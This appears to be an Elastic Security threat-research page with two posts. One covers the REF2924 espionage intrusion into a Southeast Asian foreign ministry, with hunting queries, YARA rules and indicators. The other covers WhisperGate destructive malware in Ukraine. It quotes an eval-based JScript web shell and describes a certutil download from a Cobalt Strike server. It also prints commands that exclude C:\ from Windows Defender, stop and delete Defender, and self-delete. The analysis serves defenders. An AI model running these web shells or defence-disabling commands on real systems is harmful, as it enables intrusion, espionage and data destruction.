For a deep dive analysis of the SIESTAGRAPH, DOORME, or SHADOWPAD malware families, check out our follow on publication that covers those in detail. In addition, there are associations between this campaign and others based on other observations and 3rd party reporting.

Updated: 2/2/2023

Analysis

The investigation, which we’re tracking as REF2924, began with the execution of a Powershell command used to export a user mailbox. While this is a normal administrative function, the commands were executed with a process ancestry starting with the IIS Worker Process ( w3wp.exe ) as a parent process of cmd.exe , and cmd.exe executing Powershell.

These events started the investigation that later identified multiple threat actors within the contested network environment.

The first events observed from this cluster of activity were on November 26, 2022, with the detection of a malicious file execution on a Domain Controller. Because of this, it is likely Elastic Defend was deployed post-initial compromise and was deployed in “Detect” mode. Throughout our analysis, we observed other security instrumentation tools in the environment indicating the victim was aware of the intrusion and trying to evict the threat actors.

Because of the multiple malware samples achieving similar goals, various DLL sideloading observations, and the presence of a likely internet-connected Exchange server; we believe that there are multiple threat actors or threat groups working independently or in tandem with each other.

November 26–30, 2022

Malware execution

The earliest known evidence of compromise occurred on November 26, 2022, with the execution of a file called OfficeClient.exe executed from **C:\ProgramData\Microsoft** on a Domain Controller.

10-minutes after OfficeClient.exe was executed on the Domain Controller, another malicious file was executed on another Windows 2019 server. This file was called Officeclient.exe and executed from **c:\windows\pla**. On November 28, 2022, *officeup.exe* was executed on this same Windows 2019 server from **C:\programdata**.

On November 29, 2022, the OfficeClient.exe file was executed on an Exchange server as C:\ProgramData\OfficeCore.exe.

All three of these files ( OfficeClient.exe , Officeclient.exe , and OfficeCore.exe ) have an original PE file name of windowss.exe , which is the file name assigned at compile time. We are naming this malware family “SiestaGraph” because of the long sleep timer and the way that the malware uses the Microsoft Graph API for command and control.

As of December 8, 2022, we observed a variant of SiestaGraph in VirusTotal, uploaded from the Netherlands on October 14, 2022. SiestaGraph makes use of a .NET API library that functions as an alternative to using Microsoft Graph, which is an API to interact with Microsoft cloud, including Microsoft 365, Windows, and Enterprise Mobility + Security.

Internal reconnaissance

On November 28, 2022, the threat actor began performing internal reconnaissance by issuing standard commands such as whoami , hostname , tasklist , etc. These commands were executed with a process ancestry starting with the IIS Worker Process ( w3wp.exe ) as a parent process of cmd.exe , and cmd.exe executing the commands.

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&whoami

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&hostname

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&tasklist

Additional adversary reconnaissance was performed to enumerate local network assets as well as victim assets at embassies and consulates abroad. There has been no indication that this information has been subsequently exploited for additional access or information at this time.

On November 29, 2022, the threat actor began collecting domain user and group information with the net user and net group commands, again issued as child processes of w3wp.exe and cmd.exe. These commands confirmed that this was not an entirely scripted campaign and included an active operator by the fact that they forgot to add the /domain syntax to two of the 20 net user commands. While the net user command does not require the /domain syntax, the fact that this was only on two of the 20 occurrences, it was likely an oversight by the operator. This was the first of multiple typographical errors observed throughout this campaign.

Exporting Exchange mailboxes

On November 28, 2022, the threat actor started to export user mailboxes, again using the w3wp.exe process as a parent for cmd.exe , and finally Powershell. The threat actor added the Microsoft.Exchange.Management.PowerShell.SnapIn module. This module provides the ability to manage Exchange functions using Powershell and was used to export the mailboxes of targeted Foreign Service Officers and saved them as PST files.

In the above example, the Received -gt and Sent -gt dates timebox the collection window as all emails sent and received after ( gt is an acronym for “greater than”) November 15, 2022. The timeboxing was not uniform across all mailboxes and this process was repeated multiple times. Again, in the above example from November 28, 2022, the timebox was for all sent and received emails from November 15, 2022, to the current date (November 28, 2022); on December 6, 2022, the mailbox was exported again, this time with a gt value of November 28, 2022, which was the date of the last export.

In another example in this phase, the threat actors targeted a mailbox called csirt. While this is unconfirmed, “csirt” is commonly an acronym for Cyber Security Incident Response Team.

Taking into consideration the timebox used on the csirt export, if this is the industry standard acronym of CSIRT, the intrusion could have started as early as September 1, 2022, and the threat actors were monitoring the CSIRT to identify if their intrusion had been detected.

Throughout this phase, a total of 24 mailboxes were exported.

Once the mailboxes were exported, the threat actor created a 7zip archive called 7.tmp with a password of huebfkaudfbaksidfabsdf.

Three of the mailboxes, one of which being the csirt mailbox, were archived individually. These three mailboxes were archived with a .log.rar or .log file extension.

Finally, the threat actor created a 200m 7zip archive called o.7z and added the previously created, password-protected, 7.tmp archive to it.

IIS backdoor module

On November 28, 2022, we observed the loading of two DLL files, Microsoft.Exchange.Entities.Content.dll and iisrehv.dll through the execution of the iissvcs services using svchost.exe. Both Microsoft.Exchange.Entities.Content.dll and iisrehv.dll were loaded using the iissvcs module of the Windows Service Host through the execution of C:\Windows\system32\svchost.exe -k iissvcs. These malicious IIS modules are loosely based on the DoorMe IIS backdoor.

For context, IIS is web server software developed by Microsoft and used within the Windows ecosystem to host websites and server-side applications. Starting on version 7.0, Microsoft extended IIS by adding a modular architecture that allows individual modules to be added or removed in order to achieve functionality depending on an environment’s needs. These modules represent individual features that the server can then use to process incoming requests.

During the post-compromise stage, the adversary used the malicious IIS module as a passive backdoor monitoring all incoming HTTP requests. Depending on a tailor-made request by the operator, the malware will activate and process commands. This approach can be challenging for organizations as there is usually low visibility in terms of monitoring and a lack of prevention capabilities on these types of endpoints. In order to install this backdoor, it requires administrator rights and for the module to be placed inside the %windir%\System32\inetsrv directory, based on the observed artifacts we believe initial access was gained through server exploitation from a recent wave of Microsoft Exchange RCE exploit usage.

The malicious module (C++ DLL) is first loaded through its export, RegisterModule. This function is responsible for setting up the event handler methods and dynamically resolving API libraries for future usage. The main functionality of the backdoor is implemented using the CGlobalModule class under the event handler OnGlobalPreBeginRequest. By overriding this event handler, the malware is loaded before a request enters the pipeline. The core functionality of the backdoor all exists in this function, including cookie validation, parsing commands, and calling underlying command functions.

The malware implements an authentication mechanism based on a specific cookie name that contains the authentication key. This malicious IIS module checks for every incoming HTTP request for the specified cookie name, and it returns a success message in case of a GET request. The GET request is used as a way to test the backdoor’s status for the operator, and it also returns back the username and hostname of the impacted machine. Commands can be passed to the backdoor through POST requests as data.

Throughout our analysis, we discovered old samples on VirusTotal relating to this backdoor. Although they have the same authentication and logic, they implement different functionalities. The cookie name used for authentication was also changed alongside the handled commands.

This observed backdoor implements four different commands, and the symbol PIPE is used to separate the command ID and its arguments.

| ID | Parameter | Description | | ---- | ----------------------------------- | --------------------------------------------------------------------------------------------------------------- | | 0x42 | Expects the string GenBeaconOptions | Generates a unique Globally Unique Identifier used to identify the infected machine and send it to the attacker | | 0x43 | Shellcode blob | Execute the shellcode blob passed as a parameter in the current process | | 0x44 | N/A | Write and Read from a specified named pipe | | 0x63 | Shellcode blob in chunks | Similar to command ID: 0x43, this command can receive a blob of shellcode in chunks when fully received |

From our analysis, it appears that this simplistic backdoor is used as a stage loader. It uses NT Windows APIs, mainly NtAllocateVirtualMemory , NtProtectVirtualMemory , and NtCreateThreadEx , to allocate the required shellcode memory and to create the executing thread.

kk2.exe

On November 30, 2022, an unknown binary called kk2.exe was executed on an Exchange server. While we have been unable to collect kk2.exe as of this writing, we can see that it was used to load a vulnerable driver that can be used to monitor and terminate processes from kernel mode, mhyprot.sys. It is unclear if mhyprot.sys is downloaded, or embedded into, kk2.exe.

mhyprot.sys was detected by Elastic’s open code Windows.VulnDriver.Mhyprot YARA rule, released in August 2022.

For more information on how vulnerable drivers are used for intrusions, check out the Stopping Vulnerable Driver Attacks research Joe Desimone published in September 2022.

As stated previously, we could not collect kk2.exe for analysis but it is likely that it used mhyprot.sys to escalate to kernel mode as a way to monitor, and if necessary, terminate processes. This could be used as a way of protecting an implant, or entire intrusion, from detection.

Web shells

The following section highlights multiple attempts by the threat actors to install a web shell as a back door into the environment if they are evicted. While speculative in nature, it appears that most of these attempts to load web shells failed. It is unclear what the reasons for the failures are. We’ll not cover every attempt at loading a web shell, as several of them were very similar, but we’ll highlight the shifts in approaches.

The first attempt was to use the Microsoft certutil tool to download an Active Server Pages (ASPX) file ( config.aspx ) from a remote host (185.239.70[.]229) and save it as the error.aspx page on the Exchange Control Panel’s webserver. Because this IP address is a known Cobalt Strike server, it may have been blocked by network defense architecture, leading to further attempts to overwrite error.aspx.

After attempting to use config.aspx from a Cobalt Strike C2 server, the threat actors attempted to insert Base64 encoded Javascript into a text file ( 1.txt ), use certutil to decode the Base64 encoded Javascript ( 2.aspx ), and then overwrite error.aspx with 2.aspx. This was attempted on both the Exchange Control Panel and Outlook Web Access web servers.

The Base64 encoded string decoded into the following Javascript:

<%@ Page Language="Jscript" Debug=true%>
<%
var TNKY='nHsXLMPUSCABolxOgKWuIFeGVimhEjyzQrTvRcwafZdJDktqYpbN';
var ZZXG=Request.Form("daad");
var VAXN=TNKY(7) + TNKY(0) + TNKY(2) + TNKY(10) + TNKY(21) + TNKY(22);
eval(ZZXG, VAXN);
%

The preceding code is a simple web shell leveraging the eval Methodto evaluate JScript code sent through the POST parameter daad. Variations of this technique were attempted multiple times. Other attempts were observed to load obfuscated versions of the China Chopper and Godzilla web shells.

December 1–4, 2022

DLL side-loading

On December 2, 2022, on two Domain Controllers, we observed a new DLL ( log.dll ) being side loaded by a legitimate, but an 11-year-old, version of the Bitdefender Crash Handler executable (compiled name: BDReinit.exe ), 13802 AR.exe. Once executed, it will move to the **C:\ProgramData\OfficeDriver** directory, rename itself **svchost.exe** , and install itself as a service.

Once log.dll is loaded, it will spawn the Microsoft Windows Media Player ( wmplayer.exe ) and dllhost.exe and injects into them which triggers a memory shellcode detection.

Updated 2/2/2023: In our updated research into SIESTAGRAPH, DOORME, and SHADOWPAD, we identify log.dll as part of the SHADOWPAD malware family.

On December 2, 2022, another unknown DLL, Loader.any , was interactively executed with an Administrative account using rundll32.exe. Loader.any was observed executing two times on a Domain Controller and was then deleted interactively.

On December 3, 2022, we observed another malicious file, APerfectDayBase.dll. While this is a known malicious file, the execution was not observed. APerfectDayBase.dll is the legitimate name of a DLL in the import table of a benign-looking program, AlarmClock.exe.

This naming appears to be an attempt to make the malicious DLL look legitimate and likely to leverage AlarmClock.exe as a side-loading target. Testing has confirmed that the DLL can be side-loaded with AlarmClock.exe. While not malicious, we are including the hash for AlarmClock.exe in the Indicators table as its presence could be used purely as a side-loading vehicle for malicious DLL, APerfectDayBase.dll.

Victimology and targeting motivations

Diamond model

Victimology

The victim is the foreign ministry of a nation in Southeast Asia. The threat actor appeared to focus priority intelligence collection efforts on personnel and positions of authority related to the victim's relationship with ASEAN (Association of Southeast Asian Nations).

ASEAN is a regional partnership union founded in 1967 to promote intergovernmental cooperation among member states. This has been expressed through economic, security, trade, and educational cooperation with expanding international and domestic significance for partner nations. The union itself has expanded to 10 member countries with 2 more currently seeking accession. It is exerting this international influence over the development of a Regional Comprehensive Economic Partnership trade agreement with a broader periphery of member nations (16 members and 2 applicants).

Below is a list of the targeted users, the collection window(s) in which their mailboxes were exported, and the date their mailboxes were exported.

| User | Collection Window | ------- | ---------------------- | User 1 | 11/1/2022 - 11/28/202211/29/2022 | User 2 | 11/1/2022 - 11/28/2022 | User 3 | 11/1/2022 - 11/28/2022 | User 4 | 11/15/2022 - 11/28/2022 | User 5 | 11/15/2022 - | User 6 | 11/15/2022 - 11/28/2022 | User 7 | 11/15/2022 - | User 8 | 11/15/2022 - 11/28/2022 | User 9 | 11/15/2022 - 11/28/2022 | User 10 | 9/15/2022 - 11/29/2022 | User 11 | 9/15/2022 - 11/29/2022 | User 12 | 9/15/2022 - 11/29/2022 | User 13 | 9/1/2022 - 11/30/2022 | User 14 | 9/1/2022 - 11/30/2022 | User 15 | 11/29/2022 - 12/6/2022 | User 16 | 11/29/2022 - 12/6/2022 | User 17 | 11/29/2022 - 12/6/2022 | User 18 | 11/29/2022 - 12/6/2022 | User 19 | 11/29/2022 - 12/6/2022 | User 20 | 11/29/2022 - 12/6/2022 | User 21 | 11/29/2022 - 12/6/2022 | User 22 | 11/29/2022 - 12/6/2022 | User 23 | 11/29/2022 - 12/6/2022 | User 24 | 11/29/2022 - 12/6/2022 | Collection Date(s) | ----------------------- | ------------------- | - 12/6/2022 | 11/28/202212/6/2022 | | 11/28/2022 | | 11/28/2022 | | 11/28/2022 | 11/28/202211/29/2022 - 12/6/2022 | 11/28/202212/6/2022 | | 11/28/2022 | 11/28/202211/29/2022 - 12/6/2022 | 11/28/202212/6/2022 | | 11/28/2022 | | 11/28/2022 | | 11/29/2022 | | 11/29/2022 | | 11/29/2022 | | 11/30/2022 | | 11/30/2022 | | 12/6/2022 | | 12/6/2022 | | 12/6/2022 | | 12/6/2022 | | 12/6/2022 | | 12/6/2022 | | 12/6/2022 | | 12/6/2022 | | 12/6/2022 | | 12/6/2022 |

As reflected above, we observed Users 1, 5, and 7 targeted twice each indicating that the contents of their mailboxes were of particular interest. This could be the result of pre-intrusion reconnaissance or once the initial traunch of mailboxes was reviewed by the threat actor, they decided to continue collecting on those users.

Targeting motivation

There is no indication this victim would provide any direct monetary benefit to an adversary. The attack appears to be motivated by the purpose of diplomatic intelligence gathering. There are a number of potential adversaries who would find a nation’s confidential diplomatic communications related to ASEAN, and by extension the RCEP, to be highly advantageous in furthering their own regional influence, national security, and domestic goals.

If the threat actor is excluded from ASEAN trade unions and depends on foreign aid from members of those trade unions, it could find confidential diplomatic information specifically related to ASEAN useful for negotiating or renegotiating trade agreements.

ASEAN member nations are rival claimants to territorial disputes in the South China Sea (SCS). ASEAN as an organization has not produced a unified front in the SCS dispute, with some members preferring direct nation-to-nation negotiations and some wanting ASEAN to negotiate as a whole. Diplomatic information from ASEAN member nations might provide the threat actor with useful information to influence decisions and negotiations around the SCS. The threat actor's interest in ASEAN and any individual member would almost certainly be multifaceted covering government functions from immigration to agriculture, to technology, to sociopolitical considerations such as human rights.

Detection logic

Prevention rules

Detection rules

Hunting queries

KQL query

Using the Discover app in Kibana, the below query will identify loaded IIS modules that have been identified as malicious by Elastic Defend (even if Elastic Defend is in “Detect Only” mode).

The proceeding and preceding wildcards (*) can be an expensive search over a large number of events.

event.code : “malicious_file” and event.action : "load" and process.name : “w3wp.exe” and process.command_line.wildcard : (*MSExchange* or *SharePoint*)

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar to the SiestaGraph backdoor and the observed DLL side-loading patterns.

# Hunt for DLL Sideloading using the observed DLLs:

library where
 dll.code_signature.exists == false and
 process.code_signature.trusted == true and
 dll.name : ("log.dll", "APerfectDayBase.dll") and
 process.executable :
           ("?:\\Windows\\Tasks\\*",
            "?:\\Users\\*",
            "?:\\ProgramData\\*")

# Hunt for scheduled task or service from a suspicious path:

process where event.type == "start" and
 process.executable : ("?:\\Windows\\Tasks\\*", "?:\\Users\\Public\\*", "?:\\ProgramData\\Microsoft\\*") and
 (process.parent.args : "Schedule" or process.parent.name : "services.exe")

# Hunt for the SiestaGraph compiled file name and running as a scheduled task:

process where event.type == "start" and
 process.pe.original_file_name : "windowss.exe" and not process.name : "windowss.exe" and process.parent.args : "Schedule"

# Hunt for unsigned executable using Microsoft Graph API:

network where event.action == "lookup_result" and
 dns.question.name : "graph.microsoft.com" and process.code_signature.exists == false

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the SiestaGraph malware implant and the DoorMe IIS backdoor.

rule Windows_Trojan_DoorMe {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-09"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "DoorMe"
        threat_name = "Windows.Trojan.DoorMe"
        reference_sample = "96b226e1dcfb8ea2155c2fa508125472c8c767569d009a881ab4c39453e4fe7f"
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = ".?AVDoorme@@" ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}

rule Windows_Trojan_SiestaGraph {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-14"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "SiestaGraph"
        threat_name = "Windows.Trojan.SiestaGraph"
        reference_sample = "50c2f1bb99d742d8ae0ad7c049362b0e62d2d219b610dcf25ba50c303ccfef54"
    strings:
        $a1 = "downloadAsync" ascii nocase fullword
        $a2 = "UploadxAsync" ascii nocase fullword
        $a3 = "GetAllDriveRootChildren" ascii fullword
        $a4 = "GetDriveRoot" ascii fullword
        $a5 = "sendsession" wide fullword
        $b1 = "ListDrives" wide fullword
        $b2 = "Del OK" wide fullword
        $b3 = "createEmailDraft" ascii fullword
        $b4 = "delMail" ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

References

Observables

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

| Indicator | Type | Name | Reference | | ---------------------------------------------------------------- | ------- | --------------------------------------- | --------------------------------------------------------- | | 1a87e1b41341ad042711faa0c601e7b238a47fa647c325f66b1c8c7b313c8bdf | SHA-256 | OfficeClient.exe and OfficeCore.exe | SIESTAGRAPH | | 7fc54a287c08cde70fe860f7c65ff71ade24dfeedafdfea62a8a6ee57cc91950 | SHA-256 | Officeclient.exe | SIESTAGRAPH | | f9b2b3f7ee55014cc8ad696263b24a21ebd3a043ed1255ac4ab6a63ad4851094 | SHA-256 | officeup.exe | SIESTAGRAPH | | c283ceb230c6796d8c4d180d51f30e764ec82cfca0dfaa80ee17bb4fdf89c3e0 | SHA-256 | Microsoft.Exchange.Entities.Content.dll | DOORME | | 4b7d244883c762c52a0632b186562ece7324881a8e593418262243a5d86a274d | SHA-256 | iisrehv.dll | SessionManager | | 54f969ce5c4be11df293db600df57debcb0bf27ecad38ba60d0e44d4439c39b6 | SHA-256 | kk2.exe | mhyprot.sys loader | | 509628b6d16d2428031311d7bd2add8d5f5160e9ecc0cd909f1e82bbbb3234d6 | SHA-256 | mhyprot.sys | vulnerable driver | | 386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd | SHA-256 | 13802 AR.exeBDReinit.exe | vulnerable Bitdefender Crash Handler | | 452b08d6d2aa673fb6ccc4af6cebdcb12b5df8722f4d70d1c3491479e7b39c05 | SHA-256 | log.dll | SHADOWPAD | | 5be0045a2c86c38714ada4084080210ced8bc5b6865aef1cca658b263ff696dc | SHA-256 | APerfectDayBase.dll | malicious DLL injected into vulnerable binaries | | 3f5377590689bd19c8dd0a9d46f30856c90d4ee1c03a68385973188b44cc9ab7 | SHA-256 | AlarmClock.exe | benign, but targeted for side-loading APerfectDayBase.dll | | f2a9ee6dd4d1ceb4d97138755c919549549311c06859f236fc8655cf38fe5653 | SHA-256 | Loader.any | currently unknown DLL | | 3b41c46824b78263d11b1c8d39cfe8c0e140f27c20612d954b133ffb110d206a | SHA-256 | Loader.any | currently unknown DLL | | 9b66cd1a80727882cfa1303ada37019086c882c9543b3f957ee3906440dc8276 | SHA-256 | Class1.exe | currently unknown file | | 185.239.70.229 | ipv4 | na | Cobalt Strike C2 |

Operation Bleeding Bear

Daniel Stepanic,James Spiteri,Joe Desimone,Mark Mager,Andrew Pease — Tue, 06 Dec 2022 00:00:00 GMT

Key Takeaways

Elastic Security provides new analysis and insights into targeted campaign against Ukraine organizations with destructive malware reported over the weekend of Jan 15, 2022
Techniques observed include process hollowing, tampering with Windows Defender, using a Master Boot Record (MBR) wiper, and file corruptor component
Elastic Security prevents each stage of the described campaign using prebuilt endpoint protection features

Overview

Over this past weekend (1/15/2022), Microsoft released details of a new campaign targeting Ukrainian government entities and organizations with destructive malware. In a multi-staged attack, one malware component known as WhisperGate utilizes a wiping capability on the Master Boot Record (MBR), making any machine impacted inoperable after boot-up.

Within another stage, a file infector component is used to corrupt files in specific directories with specific file extensions. The elements used in this campaign lack the common characteristics of a ransomware compromise – in this case the adversary uses the same Bitcoin address for each victim and offers no sign of intent to decrypt the victim’s machine.

The Ukrainian National Cyber Security Coordination Center has been referring to this threat activity on its official Twitter and Facebook accounts as Operation Bleeding Bear.

Elastic users are fully protected from attacks like these through our advanced malware detection and Ransomware Protection capabilities in the platform. The Elastic Security team continues to monitor these events. This case highlights the importance of prevention when it’s up against ransomware and malware with destructive capabilities.

Stage 1: WhisperGate MBR payload

The Master Boot Record (MBR) is software that executes stored start-up information and, most importantly, informs the system of the location of the bootable partition on disk that contains the user’s operating system. If tampered with, this can result in the system being inoperable – a common tactic for malware and ransomware campaigns over the years to interrupt operation of the infected system.

The stage 1 binary is named stage1.exe and has low complexity. A 8192 byte buffer containing the new MBR data that includes the ransom note is allocated on the stack. A file handle is retrieved from CreateFileW pointing to the first physical drive which represents the MBR. That file handle is then called by WriteFile which takes only 512 bytes from the buffer writing over the Master Boot Record.

Malware analysis breakdown (Stages 1-4)

The host is subsequently rendered inoperable during the next boot-up sequence. Below is a screenshot showing the ransom note from an affected virtual machine.

Contained within the ransom note are instructions soliciting payment to a bitcoin wallet address of 1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv. The wallet does not appear to have received funds from victims as of the publication of this post.

Stage 2/3: Discord downloader and injector

Once the payload has gained a foothold, further destructive capabilities are facilitated by the stage 2 binary, called stage2.exe. This binary pulls down and launches a payload hosted via the Discord content delivery network, a recently reported approach which is increasingly being used by malicious actors.

The obfuscated .NET payload (described as Stage 3 below) is then executed in memory, setting off a number of events including:

Writing and executing a VBS script that uses PowerShell to add a Windows Defender exclusion on the root directory (C:)

Writing and executing a VBS script

"C:\Windows\System32\WScript.exe""C:\Users\jim\AppData\Local\Temp\Nmddfrqqrbyjeygggda.vbs"

Uses PowerShell to add a Windows Defender exclusion

powershell.exe Set-MpPreference -ExclusionPath 'C:\'

AdvancedRun, a program used to run Windows applications with different settings, is then dropped to disk and executed in order to launch the Service Control Manager and stop the Windows Defender service (WinDefend).

AdvancedRun is used to stop Windows Defender

"C:\Users\jim\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" `
  /WindowState 0 /CommandLine "stop WinDefend"  /StartDirectory "" /RunAs 8 /Run

AdvancedRun is used again when launching PowerShell to recursively delete the Windows Defender directory and its files.

AdvancedRun deleting the Windows Defender directory

"C:\Users\jim\AppData\Local\Temp\AdvancedRun.exe" `
  /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 `
  /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" `
  /StartDirectory "" /RunAs 8 /Run

Copies InstallUtil.exe is a command-line utility that allows users to install and uninstall server resources from the local machine into the user’s %TEMP% directory. This action leverages the file for process hollowing by launching it in a suspended state.

It then proceeds to allocate memory (VirtualAllocEx , write the file corruptor payload (described as the Final Stage below) into memory (WriteProcessMemory), modify the thread entry point (SetThreadContext) to point to the file corruptor entry point, and start execution of the file corruptor (ResumeThread).

Final stage: File corruptor

The final file corruptor payload is loaded in memory via process hollowing to the InstallUtil process. The file corruptor:

Targets any local hard drives, attached USB drives, or mounted network shares
Scans directories for files matching internal hard-coded extension list (excluding the Windows folder)

.3DM .3DS .602 .7Z .ACCDB .AI .ARC .ASC .ASM .ASP .ASPX .BACKUP .BAK .BAT .BMP .BRD
.BZ .BZ2 .C .CGM .CLASS .CMD .CONFIG .CPP .CRT .CS .CSR .CSV .DB .DBF .DCH .DER .DIF
.DIP .DJVU.SH .DOC .DOCB .DOCM .DOCX .DOT .DOTM .DOTX .DWG .EDB .EML .FRM .GIF .GO
.GZ .H .HDD .HTM .HTML .HWP .IBD .INC .INI .ISO .JAR .JAVA .JPEG .JPG .JS .JSP .KDBX
.KEY .LAY .LAY6 .LDF .LOG .MAX .MDB .MDF .MML .MSG .MYD .MYI .NEF .NVRAM .ODB .ODG .ODP
.ODS .ODT .OGG .ONETOC2 .OST .OTG .OTP .OTS .OTT .P12 .PAQ .PAS .PDF .PEM .PFX .PHP .PHP3
.PHP4 .PHP5 .PHP6 .PHP7 .PHPS .PHTML .PL .PNG .POT .POTM .POTX .PPAM .PPK .PPS .PPSM .PPSX
.PPT .PPTM .PPTX .PS1 .PSD .PST .PY .RAR .RAW .RB .RTF .SAV .SCH .SHTML .SLDM .SLDX .SLK
.SLN .SNT .SQ3 .SQL .SQLITE3 .SQLITEDB .STC .STD .STI .STW .SUO .SVG .SXC .SXD .SXI .SXM
.SXW .TAR .TBK .TGZ .TIF .TIFF .TXT .UOP .UOT .VB .VBS .VCD .VDI .VHD .VMDK .VMEM .VMSD
.VMSN .VMSS .VMTM .VMTX .VMX .VMXF .VSD .VSDX .VSWP .WAR .WB2 .WK1 .WKS .XHTML .XLC .XLM
.XLS .XLSB .XLSM .XLSX .XLT .XLTM .XLTX .XLW .YML .ZIP

Overwrites the start of each targeted file with 1MB of static data (byte 0xCC), regardless of file size
Renames each targeted file to a randomized extension
Deletes self with the command:

Overwriting, renaming, and deleting files

cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q

MBR protection with Elastic Security

Changes to the MBR are particularly strong signals of anomalous and destructive activity typically associated with ransomware. To counteract this, Elastic security researchers built an MBR protection component based around these signals into our multi-layered ransomware protection feature.

When a process attempts to overwrite the contents of the MBR, the prewrite buffer and other associated process metadata will be analyzed inline before any changes are written to disk. If the activity is deemed malicious in nature, the process will either be terminated immediately (prevention mode) and / or an appropriate ransomware alert will be generated (prevention and detection modes) to allow security operators time to respond.

When configured in prevention mode, Elastic Security’s ransomware protection ensures that the integrity of the MBR is fully preserved, with no changes ever reaching disk thanks to the synchronous framework leveraged by the feature — effectively preventing the ransomware attack in their tracks as the offending process is terminated.

When WriteFile is invoked on PhysicalDrive0 on a host running Elastic Security with ransomware protection enabled, the pending change will immediately be analyzed and deemed malicious. Afterwards, the process will be terminated, the endpoint user will be alerted via a popup notification, and a ransomware prevention alert will be sent to and stored in Elasticsearch. The intended ransom note can be easily deciphered after Base64 decoding the contents of the prewrite buffer found in the alert within Kibana.

It is important to note that while this behaviour is detected by Elastic, it is not specific to this payload and rather the behaviour the payload is exhibiting. This increases our chance of being able to detect and prevent malicious behaviors, even when a static signature of the malware is not known. Threat actors find this kind of control more difficult to evade than traditional, signature-based detection and prevention approaches.

Observing WhisperGate in Elastic Security

By observing the process hash of the stage 1 dropper above (a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92) via the process.hash function within Elastic Security, we can isolate the ransomware alert and analyze the blocked attempt at overwriting the MBR.

As we can see, the data is stored as a Base64 encoded string in Elasticsearch. Decoded, we can see the contents of the ransom note that would be displayed to the end user of an affected system.

Alert breakdown and defensive recommendations

The following alerts were triggered in Elastic Security during our investigations:

Endpoint Security Integration Alerts

Stage 1 - MBR Wiper

(a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92)

Malware Prevention Alert
Ransomware Prevention Alert (MBR overwrite)

Stage 2 - Downloader

(dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78)

Malware Prevention Alert

Stage 3 + Stage 4 - Injector/File Corruptor

(34CA75A8C190F20B8A7596AFEB255F2228CB2467BD210B2637965B61AC7EA907)

Ransomware Prevention Alert (canary files)
Malicious Behaviour Prevention Alert - Binary Masquerading via Untrusted Path
Memory Threat Prevention Alert

Prebuilt Detection Engine Alerts

